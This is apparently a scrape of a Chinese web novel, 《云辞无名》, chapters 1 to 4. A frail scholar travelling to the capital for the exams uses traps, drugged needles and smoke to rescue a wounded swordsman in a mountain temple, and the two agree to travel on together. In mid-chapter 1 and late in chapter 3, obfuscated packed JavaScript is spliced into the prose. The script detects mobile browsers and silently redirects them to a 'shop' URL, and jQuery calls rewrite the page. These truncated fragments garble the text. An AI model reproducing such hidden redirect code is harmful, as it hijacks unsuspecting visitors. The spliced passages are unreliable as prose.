《云辞无名》 1. 第 1 章 第一章雨夜破庙 永昌十九年，惊蛰刚过，北地的春寒仍料峭入骨。 暮色四合时分，铅灰色的云层沉沉压向连绵的燕山余脉，山风穿过嶙峋怪石，发出呜咽般的声响。崎岖的山道上，一辆青篷马车正不疾不徐地前行，车轮碾过碎石，发出单调的轱辘声。 驾车的是个头发花白的老仆，裹着厚实的棉袄，不时回头朝车厢内望一眼，面上带着忧色。 “砚哥儿，这雨看着要下来了，前头好像有座破庙，咱们要不要歇歇脚？” 车内传来几声压抑的轻咳，随即是个清朗却略显中气不足的声音：“忠伯做主便是。” 话音未落，一道惨白的电光撕裂天际，紧接着闷雷滚过山谷，豆大的雨点噼里啪啦砸了下来。老仆不敢耽搁，扬鞭催马，赶在雨势滂沱前，将马车赶进了山路旁一座半塌的山神庙院里。 庙门早已不知去向，门楣上“山神庙”三字牌匾斜挂着，被风吹得吱呀作响。院中杂草丛生，正殿的屋顶塌了小半，雨水顺着破洞哗哗往里灌，但靠东墙的一角还算干燥。 老仆利落地卸了马，将车厢里一个靛青布包裹和一摞书箱搬进殿内，又返身扶下一位少年。 那少年约莫十七八岁年纪，身披素白鹤氅，内里是半旧的月白直裰，身形清瘦得有些单薄。他脸色在昏暗中显得格外苍白，唯有一双眼睛亮得出奇，像是将窗外所有的天光都敛了进去。 这便是江清砚，江南润州人士，此去京城，是为参加今春礼部会试。 他幼时便有神童之名，三岁能诵诗，七岁通经义，十二岁考中秀才，十五岁乡试解元。只是天妒英才，他先天不足，患有心疾，自幼体弱，长途跋涉于他而言不啻于酷刑。此番北上，家中本极力劝阻，他却只笑着摇头：“读了十七年书，总要试试看这天下有多大。” “砚哥儿，快坐下歇歇。”忠伯麻利地扫出一块干净地面，铺上油布和褥子，又生了堆火。橘黄的火光跳动起来，勉强驱散了殿内阴森的寒气。 江清砚在褥子上坐下，从书箱中取出一卷《通鉴纪事本末》，就着火光翻阅。他读书时神情极专注，微蹙的眉头下，长睫在苍白的脸颊上投下一小片阴影，偶尔有细碎的咳嗽声从唇边溢出，他便抿一口忠伯递上的热参茶压下去。 殿外雨势更急，天地间白茫茫一片，只有雨打残瓦的哗啦声和偶尔滚过的闷雷。山风从破窗灌入，吹得火苗摇曳不定。 忽然，江清砚翻书的动作顿了顿。 他抬起头，侧耳倾听。 除了风雨声，似乎……还有别的声音。 “忠伯，你听见了吗？” 忠伯正就着火光缝补一件旧衣，闻言茫然抬头：“什么？哦，是风声吧？” 江清砚放下书卷，撑着身旁的供桌缓缓起身。他走到破窗边，透过残缺的窗棂朝外望去——院门外漆黑的山道上，隐约有急促的马蹄声由远及近，夹杂着某种金属交击的锐响，以及……压抑的呼喝。 那不是普通的赶路人。 几乎是同时，马蹄声在庙门外戛然而止。沉重的落地声，踉跄的脚步声，还有浓重的、被雨水稀释却依然刺鼻的血腥味，顺着风飘进殿内。 “有人受伤了。”江清砚低声道，声音里听不出慌乱，只有一种沉静的分析意味。 “哎哟，这荒山野岭的……”忠伯吓得手一抖，针扎了指头，连忙起身护在江清砚身前，“砚哥儿莫要出去，老奴去看看——” 话音未落，庙门方向传来“砰”的一声闷响，像是有人重重撞在了门板上。紧接着，一道黑影跌跌撞撞闯入院中，几乎是滚进了正殿前的屋檐下。 借着殿内透出的火光，能勉强看清那是个身着黑色劲装的少年。他浑身湿透，雨水混着暗红的血从衣角往下淌，在青石板上洇开触目惊心的痕迹。他左手紧握着一柄窄刃长刀，刀身已崩了几处缺口，血水顺着刀槽滴落；右手则捂在左腹处，指缝间不断有鲜血涌出。 最骇人的是他脸上——不知是血还是泥污，糊了大半张脸，唯有一双眼睛在昏暗中亮得慑人，像极了负伤后犹自戒备的狼。 黑衣少年抬起头，正对上殿内江清砚的目光。 那一瞬间，江清砚看见了他眼中翻滚的杀意、痛楚，以及濒临极限的疲惫。但也只是一瞬，少年便像是耗尽了所有力气，身体晃了晃，靠着门框滑坐下来，手中刀“哐当”落地。 “砚哥儿，这、这人……”忠伯吓得声音发颤。 江清砚却已迈步朝殿门走去。他脚步很轻，甚至有些虚浮，但每一步都踏得极稳。他在距离黑衣少年五步远处停下，目光快速扫过对方——伤口在左腹偏上，不是致命处，但失血过多；呼吸急促浅乱，有内伤；握刀的虎口崩裂，指关节多处擦伤…… “你伤得很重。”江清砚开口，声音平静温和，仿佛在陈述“今日有雨”这样的事实。 黑衣少年猛地抬眼，眼神锐利如刀。他张了张嘴，似乎想说什么，却只咳出一口血沫。 就在这时，山道方向再次传来马蹄声——不止一匹，至少有四五骑，正朝破庙疾驰而来！马蹄踏破水洼的声音在雨夜中格外清晰，越来越近。 黑衣少年瞳孔骤缩，挣扎着想站起来，却牵动伤口，闷哼一声又跌坐回去。他看向江清砚，眼中第一次闪过近乎绝望的焦急，嘶声道：“走……你们快走……” 江清砚却忽然转身，快步走回火堆旁。 “砚哥儿！咱们快从后门走吧！”忠伯急得去拉他衣袖。 “来不及了。”江清砚的声音依旧平稳。他弯腰，从书箱底层摸出一个巴掌大的紫檀木盒，打开，里面是几排细如牛毛的银针，以及几个塞着软木塞的小瓷瓶。他取出一瓶，拔开塞子，将其中淡黄色的粉末尽数倒进火堆里。 “嗤”的一声轻响，火苗猛地窜高，腾起一股淡得几乎看不见的烟雾，带着一种奇异的、类似檀香又混着辛辣的气息，迅速弥漫开来。 “闭气。”江清砚低声对忠伯道，自己已用袖口掩住口鼻。 几乎在烟雾散开的同时，庙门外传来马蹄急停的嘶鸣，以及沉重的落地声。四五道黑影闯入院中，俱是黑衣蒙面，手持利刃，杀气腾腾。为首一人身形高大，目光如电般扫过殿内，落在屋檐下的黑衣少年身上，狞笑一声：“谢云辞，看你还能逃到哪里去！” 话音未落，他已踏步上前。 可就在他踏入正殿门槛的瞬间，异变陡生。 那人脚下一绊，像是踩中了什么滑腻之物，竟一个踉跄向前扑去。他反应极快，刀尖点地想要稳住身形，却不料地面青砖缝隙中陡然弹起几根近乎透明的丝线，刷刷缠上他的脚踝——那丝线看似纤细，却坚韧异常，瞬间将他绊倒在地！ “有埋伏！”身后同伙厉喝，却不敢贸然上前。 为首那人倒地时，恰好吸入了殿内弥漫的淡烟。他刚想爬起，却觉四肢一阵发麻，眼前发黑，竟是提不起半分力气！ “烟里有毒！”他终于反应过来，嘶声大吼，“屏住呼吸！杀了他们！” 其余四人闻言，立刻以袖掩面，持刀便要冲入。 江清砚此时已退至供桌旁。供桌上除了一尊斑驳的山神泥像，还散落着许多年节时附近村民供奉的香烛、破碗等杂物。他目光扫过，伸手抓起一把不知何时剩下的香灰，扬手朝冲在最前的两人撒去！ 那香灰原本没什么威力，可江清砚撒出的角度极其刁钻——正迎着一阵从破窗灌入的穿堂风。香灰被风一卷，劈头盖脸扑向那两人眼睛。两人本能闭眼挥刀格挡，动作一滞。 就在这一滞的瞬间，江清砚左手在供桌下一按——那里有个极隐蔽的机括，是他方才起身时便已摸到的。只听“咔哒”轻响，供桌上方一块松动的横梁陡然坠落，带着积年的灰尘和碎瓦，轰然砸向那两人！ 两人虽闭着眼，却听风辨位，急忙后跃闪躲。这一躲，便撞上了身后同伴，四人顿时挤在并不宽敞的殿门口，乱成一团。 而江清砚已趁机从木盒中取出三枚银针。针尖在火光下泛着幽蓝的光——那是淬了麻药的痕迹。他手指修长稳定，拈针，屈指，弹射。 动作行云流水，无声无息。 最外侧一人正要挥刀劈开落下的碎木，忽觉颈侧微微一麻，像是被蚊虫叮了一口。他起初不以为意，可不过两个呼吸，那股麻痹感便迅速蔓延至半边身子，手中刀“当啷”落地，整个人软软瘫倒。 “老四！”旁边同伴惊呼，还没看清是怎么回事，自己肋下也是一麻，旋即步了后尘。 转瞬间，五人已倒其三。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863477|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>剩下两人终于骇然变色。他们这才真正看清殿内情形——火堆旁站着个面色苍白的文弱书生，衣着朴素，身形单薄，看起来风吹就倒。可偏偏是这个人，在瞬息之间用匪夷所思的手段放倒了他们三个弟兄！ 而他们要找的目标，那个重伤的谢云辞，此刻正靠在门边，怔怔看着这一幕，眼中是同样的难以置信。 “点子扎手！先杀那书生！”一人厉喝，挥刀直扑江清砚。 刀光破空，挟着雨水和杀气，瞬息已至面门。 江清砚没有躲。他也躲不开。他只是静静站着，甚至在刀锋临体的前一瞬，轻轻叹了口气。 然后，他抬起了右手。 手中不知何时多了一个巴掌大的铜制圆筒，简口对准了来袭者。 那人心中警铃大作，可刀势已老，收势不及。只见江清砚拇指在筒底某处一按—— “咻！” 细微的破空声。一道银光自筒中激射而出，快得只能看见残影。 那人只觉得胸口一凉，低头看去，衣襟上多了个细小的孔洞。没有血，没有痛，只有一股冰冷的麻痹感从胸口炸开，瞬间席卷全身。他张了张嘴，却发不出任何声音，直挺挺向后倒去，溅起一片泥水。 最后一人彻底胆寒。他看着倒在地上的四个同伴，又看看那个依旧平静站着的书生，终于发出一声怪叫，竟是转身就逃，连头也不敢回，眨眼间便消失在了雨夜山林之中。 殿内重归寂静。 只有风雨声，火堆的噼啪声，以及地上几人粗重却无力的喘息。 江清砚这才缓缓放下手中的铜筒，袖中的手几不可察地颤抖了一下。他闭了闭眼，压下心头翻涌的气血和眩晕——方才那一系列动作看似从容，实则已耗尽了他本就所剩无几的力气。 “砚哥儿！你没事吧？”忠伯这才回过神来，扑过来上下打量他，老泪纵横，“吓死老奴了，吓死老奴了……” “我没事。”江清砚拍拍忠伯的手，目光转向门边的黑衣少年。 少年也正看着他。 四目相对。 少年眼中的杀意和戒备渐渐褪去，取而代之的是一种极复杂的情绪——震惊，探究，困惑，以及一丝不易察觉的……感激？ 江清砚朝他走过去，脚步有些虚浮。他在少年面前蹲下，仔细查看了他腹部的伤口。 “刀伤深约寸半，未伤脏腑，但失血过多。”他低声分析，像是自言自语，又像是在说给对方听，“需要立刻止血缝合。忠伯，取我的药箱来，再烧些热水。” “可、可这些人……”忠伯看着地上横七竖八的黑衣人，声音发颤。 “他们中了‘松筋散’，十二个时辰内动弹不得，说不了话。”江清砚淡淡道，“明日天亮，去报官便是。” 他说着，已从怀中取出一个扁平的银盒，打开，里面是整套的针灸与外科用具，排列得整整齐齐。他取出一把薄如柳叶的小刀，在火上烤了烤，又用烈酒擦拭。 动作娴熟得不像个书生，倒像个行医多年的郎中。 黑衣少年一直沉默地看着他。直到江清砚拿着刀和针线转向他，准备处理伤口时，少年才忽然开口，声音嘶哑干涩： “为什么……救我？” 江清砚手上的动作顿了顿。 他抬起眼，看向少年。 火光跳跃，映亮少年糊满血污的脸。可那双眼睛却亮得惊人，像是淬了寒星的深潭，带着与年龄不符的沉郁和沧桑。 江清砚忽然笑了笑。 那笑容很浅，却莫名有种洗净铅华的澄澈。他低下头，开始清理伤口周围的污血，声音轻得像是在说给自己听： “我娘生前常说，医者仁心，见死不救，有违天道。” “我虽不是医者，”他顿了顿，针尖已刺入皮肉，动作稳得没有一丝颤抖，“但读圣贤书，所学无非‘仁’字而已。” 少年沉默了。 他感受着伤口处传来的、精准而利落的刺痛，看着眼前人低垂的、专注的眉眼，忽然觉得紧绷了不知多久的神经，一点点松懈下来。 殿外，雨势渐歇。 山林重归寂静，唯有檐角残存的积水，一滴，一滴，敲在青石上。 像是某种漫长故事，刚刚叩响了扉页。 2. 第 2 章 第二章无心之善 夜色如墨，将破庙浸得透透的。 火堆的光只照亮方寸之地，更衬得殿角阴影浓重。江清砚处理伤口的动作稳而利落，针刺、穿线、打结，每一个步骤都精准得近乎冷漠，可指间的力道却始终保持着一种刻意的轻柔。 谢云辞——这是黑衣少年刻在刀柄内侧的名字，此刻正靠坐在褪色的山神像基座上，任由江清砚摆弄自己的伤口。麻药的效力让他感受不到太多疼痛，但皮肉被牵扯、缝合的感觉依然清晰。他垂着眼，目光落在江清砚那双修长苍白的手上。 那是一双典型的读书人的手，指节分明，指甲修剪得干净整齐，虎口处有薄薄的茧，那是常年执笔留下的印记。可就是这样一双手，方才弹针、撒灰、启动机关，几乎瞬息之间放倒了四个训练有素的杀手。 矛盾。 “你中的是‘赤蝎散’。”江清砚忽然开口，声音很轻，打破了沉默，“刀上淬的。中毒不深，我已经用银针逼出大半，余毒需连服三日解药。” 他说着，从药箱里取出一个青瓷小瓶，倒出两粒乌黑的药丸：“吞了。” 谢云辞没有接，只是看着他。 江清砚也不催促，将药丸放在他手边一块干净的布帕上，转身去火堆旁提来一个小铜壶，倒了半碗温水，又放回他手边。 做完这一切，他才在对面席地坐下，拿起之前看到一半的《通鉴纪事本末》，就着火光继续读起来。仿佛刚才那场生死搏杀从未发生，仿佛地上还横着的四个黑衣人只是几尊塑像。 谢云辞盯着那两粒药丸看了半晌，终于伸手拿起，就着温水吞了下去。药丸入喉，一股辛辣之气直冲脑门，紧接着是清凉的回甘，左腹伤处那隐隐的灼痛感果然消退了许多。 “你懂医术。”他开口，声音比之前清晰了些，但仍带着失血后的虚弱。 “略通。”江清砚翻过一页书，头也不抬，“家母生前是大夫。” “方才那些机关、毒烟，也是令堂所教？” 这次江清砚顿了顿，抬起眼。火光在他清亮的眸子里跳跃，映出一种近乎透明的质感。“不。”他平静地说，“是我自己琢磨的。我体弱，总得有些防身的手段。” 他说得轻描淡写，可谢云辞却听出了话外的重量。 一个先天心疾、体弱多病的少年，要“琢磨”出能瞬间放倒四个高手的机关毒术，需要看过多少书，试过多少遍，又独自在暗夜里演练过多少次？ “你叫什么名字？”谢云辞问。 “江清砚。江河的江，清白的清，砚台的砚。” “赶考的书生？” “嗯。” “去京城？” “嗯。” 一问一答，简洁得像是在对暗号。谢云辞忽然觉得有些荒谬——自己满手血腥，被仇家追杀至此，却在一个萍水相逢的赶考书生这里，得到了一碗温水、两粒解药，和一处暂时的安身之所。 “你不怕我是恶人？”他盯着江清砚的眼睛，声音里带上了刻意的冷意，“或许我杀过人，很多。” 江清砚终于放下了书。 他抬起头，目光平静地迎上谢云辞的审视。那双眼睛太清澈了，清澈到能映出谢云辞自己此刻狼狈而戒备的模样。 “我眼中所见，”江清砚缓缓开口，每个字都吐得清晰，“是一个人在昏迷时，仍死死攥着一枚褪了色的平安扣。” 谢云辞浑身一僵。 他下意识地去摸胸口——那里贴身挂着的，正是一枚用红绳系着的旧铜扣，边缘已被摩挲得光滑，正面刻着模糊的“平安”二字。那是很多年前，阿姐在他第一次离家时，亲手给他系上的。 “你……”他喉结滚动了一下，竟说不出话来。 “我替你处理伤口时看到的。”江清砚重新拿起书，语气恢复了那种平淡，“能这样珍视旧物的人，心中总该存着一点善念。况且——” 他顿了顿，目光扫过地上那四个黑衣人。 “若你真是十恶不赦之人，方才他们追杀你时，大可不必喊出‘谢云辞’这个名字。直接乱刀砍死便是。既报了名号，要么是有恃无恐，要么……”他看向谢云辞，“是恨你入骨，要你死个明白。” 谢云辞的指尖微微发抖。 不是怕，是某种更深层的东西被触动了。这个看起来一阵风就能吹倒的书生，竟在瞬息之间看透了这么多。 “他们是什么人？”江清砚忽然问。 “仇家。”谢云辞答得简短。 “江湖恩怨？” “……算是。” 江清砚点了点头，不再追问。他又翻了一页书，忽然轻咳了几声，苍白的脸上泛起不正常的潮红。他从袖中取出一个小巧的玉瓶，倒出一粒赤色药丸含下，闭目调息片刻，脸色才渐渐恢复。 谢云辞看着这一幕，心中那点戒备不知不觉又松了几分。一个自身难保的病弱书生，确实不像别有用心之人。 “你的伤，”江清砚睁开眼，看向他，“需要静养至少七日，不能动武，不能颠簸。” “我没有七日。”谢云辞声音冷硬，“最迟明日天亮，我必须离开。” “离开？”江清砚微微蹙眉，“去送死？” 谢云辞抿唇不语。 “追杀你的不止这一拨人吧？”江清砚继续道，“方才逃走的那个，定会回去报信。你若此刻离开，不出十里，就会遇上第二批、第三批。以你现在的状态，能撑过几轮？” 每一个字都像针，扎在谢云辞最清醒的认知上。他知道江清砚说得对，可他没有选择。 “我有必须去做的事。”他咬牙道。 “比性命还重要？” “比性命还重要。” 四目相对，空气仿佛凝固了。忠伯在一旁缝补衣物，连呼吸都放轻了，生怕打扰了这微妙的僵持。 许久，江清砚轻轻叹了口气。 那叹息很轻，却莫名带着重量。他合上书，站起身，走到破窗前。窗外雨已停，山风穿过林隙，带来湿润的草木气息。天边隐隐泛起鱼肚白，长夜将尽。 “你要去京城，是吗？”江清砚背对着他，忽然问。 谢云辞一怔：“你怎么知道？” “猜的。”江清砚转过身，脸上没什么表情，“从此处往北，只有两条路。一条通往蓟州，一条直抵京城。蓟州贫瘠，无利可图；京城繁华，是非之地。你身上带着官制佩刀的痕迹，虽已刻意磨去徽记，但制式骗不了人——那是六扇门捕快专用的‘雁翎刀’改的。” 谢云辞瞳孔骤缩。 “你不必紧张。”江清砚走回火堆旁坐下，往火里添了两根柴，“我无意探究你的身份。只是想告诉你，我也要去京城赶考。” 他抬起眼，目光清亮地看着谢云辞。 “此去京城还有三百里，山高路险，盗匪横行。我体弱，忠伯年迈，需要一个护卫。” 谢云辞愣住了：“你……要我同行？” “互惠互利而已。”江清砚语气平静，“我为你治伤，提供掩护；你保我们主仆平安抵达京城。到了京城，你去做你的事，我去考我的试，两不相欠。” 他说得条理分明，仿佛在谈一桩生意。可谢云辞听出了话外的意思——这是个台阶，一个既不伤他尊严，又能救他性命的台阶。 这个书生，在给他留体面。 “为什么？”谢云辞听见自己问，声音干涩，“萍水相逢，何必做到这一步？” 江清砚沉默了。 火光照在他侧脸上，勾勒出清瘦而柔和的轮廓。许久，他才轻声开口： “三年前，我娘病重，我独自上山采药，失足滚落山崖。也是一个路过的陌生人救了我，将我背回家，分文未取，连姓名都没留下。” 他抬起眼，看向谢云辞。 “我娘临终前说，清砚，这世道艰难，人心险恶。可总该有 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伤口处缝合的针脚细密整齐，敷上的药膏清凉镇痛。谢云辞换好衣服，转过身，看见江清砚正将他的刀和那套黑衣收进一个不起眼的藤箱底层，上面盖上书籍和杂物。 “刀我替你收着，到京城再还你。”江清砚头也不抬地说，“至于地上这几位……” 他看向忠伯：“忠伯，天亮后你去山下最近的村子报官，就说遇到劫匪火并，我们侥幸逃脱。不必提细节，官府自会处理。” “哎，老奴明白。”忠伯连连点头。 “那你呢？”谢云辞问。 “我？”江清砚理了理衣袖，重新在褥子上坐下，“我自然是在庙里等你。一个病弱书生，受惊过度，需要休养，不是吗？” 他说这话时，脸上甚至带了一丝极淡的笑意。那笑意让他整个人生动起来，像是水墨画上忽然点了一抹暖色。 谢云辞看着他，忽然意识到——这个看似温润无害的书生，心思之缜密、应变之从容，远超出他表面给人的印象。 “你就不怕我趁你独自一人时，对你下手？”谢云辞忍不住问，话一出口就后悔了——这问题太过尖锐，甚至有些忘恩负义。 可江清砚只是笑了笑。 他拿起那卷《通鉴》，翻开之前看到的那页，声音轻得像是在自言自语： “你若真想对我不利，昨夜有无数次机会。况且——” 他抬起眼，目光平静地落在谢云辞脸上。 “我既然敢救你，自然有把握，你不会。” 谢云辞怔住了。 那是一种毫无保留的信任，纯粹得近乎天真，却又坚定得不容置疑。在这个人人自危、步步为营的世道里，这样的信任太罕见，也太珍贵。 珍贵到让他心头那点仅存的猜疑和防备，都在这一刻土崩瓦解。 殿外，天光渐亮。 第一缕晨光刺破云层，透过破庙顶上的窟窿照进来，落在积满灰尘的供桌上，将那些残破的香烛照得纤毫毕现。山鸟开始啼叫，清脆的鸣声在山谷间回荡。 新的一天开始了。 而一段始料未及的同行之路，也在此刻悄然展开。 江清砚重新低下头看书，侧脸在晨光中显得安静而专注。谢云辞靠在墙边，闭目养神，手却无意识地抚上胸口——那里，褪色的平安扣贴着肌肤，传来温热的触感。 许多年后，当谢云辞再回想这个破庙里的清晨，他依然会清晰地记得那缕光，那卷书，和那个给了他第二次生命的、苍白清瘦的身影。 命运的红线在那一刻悄然系紧。 而他们谁也不知道，前方等待他们的，将是怎样波澜壮阔、生死与共的岁月。 但此刻，在这座荒山破庙里，只有晨光、书香，和两个少年之间，刚刚萌芽的、无声的约定。 3. 第 3 章 第三章墨毒惊敌 晨光彻底漫过山脊时，忠伯揣着几个铜钱和江清砚写就的简短信笺，匆匆下山报官去了。 破庙里只剩下江清砚和谢云辞两人。 江清砚依旧坐在褥子上看书，偶尔提笔在书页边角批注几行小字。他写字时背脊挺得很直，握笔的姿势标准得像是从字帖里拓下来的，只是手腕微微发抖——那是体力不支的迹象。 谢云辞靠墙坐着，闭目调息。麻药效力过去后，伤口开始传来阵阵钝痛，像是有把钝刀在皮肉里慢慢磨。但他习惯了，比这更重的伤他也受过，只要能喘气，就得活着。 只是这一次，有些不同。 他悄悄睁开一条缝，目光落在江清砚身上。少年垂着眼，长睫在苍白的脸颊上投下浅浅阴影，神情专注得仿佛这破庙是翰林院的藏书阁。若不是亲眼所见，谁能相信昨夜那些精妙的机关、凌厉的银针、还有那筒一击制敌的暗器，都出自这双握笔的手？ “你的机关术，”谢云辞忽然开口，“师承何人？” 江清砚笔尖顿了顿，抬起头：“没有师承。书上看的。” “书上？”谢云辞挑眉，“什么书能教这些？” “《墨子》《淮南子》《梦溪笔谈》，还有前朝将作监的一些散佚笔记。”江清砚答得流畅，像是早料到他会问，“墨家尚巧，善守御；道家重机变，讲顺势而为。融会贯通，再加以推演，便是机关术。” 他说得轻描淡写，可谢云辞知道这背后意味着什么——那得翻烂多少书，画废多少图纸，又独自在暗室里试验过多少次失败？ “那毒烟呢？”谢云辞继续问，“也是书上看的？” 这次江清砚沉默了片刻。 他放下笔，从药箱里取出那个装“松筋散”的瓷瓶，拔开塞子，倒出一点淡黄色的粉末在掌心。粉末细如粉尘，在晨光下泛着奇异的光泽。 “这是‘曼陀罗花粉’混合‘醉鱼草’根茎研磨而成，佐以几味引药。”他声音平静，像是在讲解一道菜谱，“曼陀罗致幻，醉鱼草麻痹，吸入后十二个时辰内浑身无力，口不能言。剂量控制得当，不伤性命。” “你试过？” “试过。”江清砚抬眼看他，眸子里有种近乎天真的坦然，“在老鼠、野狗身上试过，也在自己身上试过。” 谢云辞心头一震。 “为何要学这些？”他听见自己问，声音比预想的要沉。 江清砚重新塞好瓷瓶，轻轻摩挲着瓶身上细腻的冰裂纹。 “我五岁那年，家中遭过一次贼。”他缓缓开口，语气平淡得像在说别人的事，“那贼看我体弱，想将我掳走换赎金。我娘拼死护我，被砍了一刀。我爹赶到时，贼人已翻墙逃走。” 他顿了顿，目光投向窗外苍翠的山林。 “从那以后，我就开始琢磨这些。起初只是想，若有下次，我至少要有能力自保，不拖累爹娘。后来爹娘相继病故，这念头就更重了——我总得活着，活着去京城，考取功名，完成他们的遗愿。” 他说得轻描淡写，可谢云辞却听出了话外的重量。一个自幼体弱、父母双亡的少年，独自撑着一口气走到今天，手里攥着的不仅是笔墨纸砚，还有那些藏在书箱底层的毒药和暗器。 那是一种近乎悲壮的生存智慧。 “你爹娘……”谢云辞开口，又顿住。他本不是多话的人，更不善安慰。 “病故了。”江清砚接得自然，脸上没什么悲戚，只有一种沉淀后的平静，“娘是积劳成疾，爹是伤心过度。都是命数。” 殿内陷入短暂的沉默。 远处传来山雀清脆的啼鸣，衬得这沉默愈发厚重。谢云辞看着江清砚低头整理书卷的侧影，忽然觉得胸口那枚平安扣烫得厉害。 “你的伤，”江清砚忽然转开话题，放下书走过来，“该换药了。” 谢云辞没有拒绝。他解开衣带，露出包扎好的伤口。江清砚蹲下身，动作轻柔地拆开布条，查看缝合处——没有红肿，没有渗液，愈合得比预想中还好。 “你的体质比常人强。”江清砚一边重新上药包扎，一边评价，“恢复速度至少快三成。” “习武之人，习惯了。”谢云辞淡淡道。 “不只是习武。”江清砚抬起眼，目光落在他肩胛、手臂那些新旧交错的疤痕上，“这些伤……有些年头了。” 谢云辞身体微微一僵。 那些疤痕是他过去的印记，是无数次生死搏杀留下的烙印。有些他自己都快忘了来历，可在这个书生清亮的目光下，它们忽然变得无比清晰。 “旧伤了。”他简短地说，不想多谈。 江清砚也不再追问。他重新包扎好伤口，又从药箱里取出一个小纸包：“这是三日的解药，早晚各一丸。赤蝎散余毒不清，日后恐留病根。” 谢云辞接过纸包，捏在手里。纸包很轻，却莫名有分量。 “多谢。”他说。 这两个字说得很生硬，像是很久没说过，舌头都有些打结。江清砚却笑了笑，那笑意很浅，却让他整个人看起来柔和了许多。 “不必。我们说好的，互惠互利。” 他说着站起身，忽然身形晃了晃，下意识扶住旁边的供桌。脸色在瞬间褪得惨白，额角渗出细密的冷汗。 “你怎么了？”谢云辞几乎是本能地伸手去扶，却在触及对方手臂时顿住——那手臂细得惊人，隔着衣袖都能感觉到骨头的形状。 “没事。”江清砚闭了闭眼，从怀里摸出那个玉瓶，倒出一粒赤色药丸含下。片刻后，呼吸才渐渐平稳下来，“老毛病，心疾犯了。歇会儿就好。” 他重新坐下，靠在墙边，闭目调息。长睫微微颤抖，像风中蝶翼。 谢云辞看着他，忽然意识到一件事——昨夜那一系列看似从容的应对，对这个病弱的书生而言，消耗恐怕远超想象。那些机关、毒烟、银针，每一样都需要精密的计算和瞬间的爆发力，而江清砚的身体，根本承受不起这样的消耗。 他是拼着旧疾复发的风险，救了自己。 这个认知让谢云辞胸口发闷。他向来独来独往，习惯了一个人舔伤口，一个人面对生死。可这个萍水相逢的书生，却用最安静的方式，在他坚冰般的心防上凿开了一道裂缝。 “你……”他开口，却不知该说什么。 “忠伯该回来了。”江清砚忽然睁开眼，看向庙门方向，“官府的人若来，你便说是我的远房表亲，同去京城投亲。少说话，一切由我应对。” 他说话时气息仍有些不稳，可思路却清晰得惊人。谢云辞点了点头，将那句未出口的话咽了回去。 就在这时，庙外传来脚步声。 不是一个人，是很多人，杂沓的脚步声混杂着马蹄和铁器碰撞的声响。谢云辞瞬间绷紧身体，手本能地摸向腰间——那里空空如也，他的刀还在江清砚的藤箱里。 “放松。”江清砚低声道，声音里带着安抚的意味，“是官兵。” 话音未落，一群穿着皂衣的衙役已涌入院中，为首的是个留着山羊胡的县尉，腰佩铁尺，目光如鹰般扫过殿内情形。当看到地上横着的四个黑衣人时，他眉头狠狠一皱。 “怎么回事？”县尉踏入殿内，目光在江清砚和谢云辞身上逡巡。 江清砚挣扎着要起身行礼，却被谢云辞按住——这个动作很自然，仿佛他们真是表兄弟。谢云辞自己站起身，朝县尉抱了抱拳：“大人，昨夜我兄弟二人借宿在此，遇上一伙劫匪火并。这些人，”他指了指地上，“是落败的一方，闯进来想抢财物。我略通拳脚，拼死护住舍弟，幸得天佑，贼人内讧，这才……” 他说得半真半假，语气镇定，倒是很有说服力。县尉看了看他染血的衣襟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他歇了片刻，待气息平稳些，便开始收拾行李。书卷、药箱、衣物，一件件归置整齐，动作有条不紊。谢云辞看着他的背影，忽然开口： “你方才说，此去京城三百里，山高路险。” “嗯。” “若真遇上盗匪，你那些机关毒药，够用几次？” 江清砚手上动作顿了顿。他转过身，看向谢云辞，目光清亮而坦然： “所以我才需要你。” 四目相对。 晨光从破窗斜斜照进来，在两人之间投下一道光柱。灰尘在光里飞舞，像细碎的金粉。 谢云辞忽然觉得，这句“需要”很重。重到他冰封多年的心里，有什么东西“咔嚓”一声，裂开了。 “好。”他说，声音比昨夜答应同行时更沉，也更坚定，“到京城之前，我会护你周全。” 这是承诺。 江清砚看着他，脸上没什么表情，可那双清澈的眼睛里，有什么东西微微闪动了一下。像是平静的湖面，被投入了一颗小小的石子。 “那便动身吧。”他转过身，将最后一个书箱捆好，“趁着日头好，多赶些路。” 忠伯套好马车，三人将行李搬上车厢。江清砚先上去，谢云辞紧随其后。车厢不大，两个人对坐，膝头几乎相触。忠伯扬鞭，马车轱辘轱辘驶出破庙院子，碾过青石板路，上了北去的官道。 马车颠簸，江清砚闭目养神，手却无意识地按在胸口。谢云辞看着窗外飞速倒退的山林，手始终按在腰间——那里虽然没了刀，但肌肉记忆还在。 他们都清楚，昨夜只是开始。 前路漫长，危机四伏。但不知为何，当谢云辞收回目光，落在对面那个苍白安静的少年身上时，心里那点惯常的孤寂和紧绷，竟奇异地松了几分。 或许是因为，这趟注定凶险的旅程，终于不再是独行。 马车驶过山道转弯处，破庙彻底消失在视野尽头。朝阳完全升起来了，金灿灿的光泼洒在山野间，将昨夜的雨痕和血色都冲刷得干干净净。 新的路，开始了。 4. 第 4 章 第四章萍水同行 马车在官道上不疾不徐地行了一上午。 北地春日的阳光透过车厢帘隙，在江清砚膝头的书页上投下斑驳光影。他看得专注，偶尔提笔批注，偶尔掩唇低咳，神情安静得像一池深潭。 谢云辞坐在对面，闭目调息，实则五感全开。车轮碾过碎石的每一声响动，林间惊鸟飞起的每一次扑簌，甚至风里隐约的人语马嘶，都逃不过他的耳朵。 这是他多年刀头舐血养成的本能——只要有一丝危险的可能，他就无法真正放松。 “前方三里，有岔路。”谢云辞忽然开口，眼睛仍闭着，“一条官道绕远，但平坦；一条山径近五十里，但险峻。怎么走？” 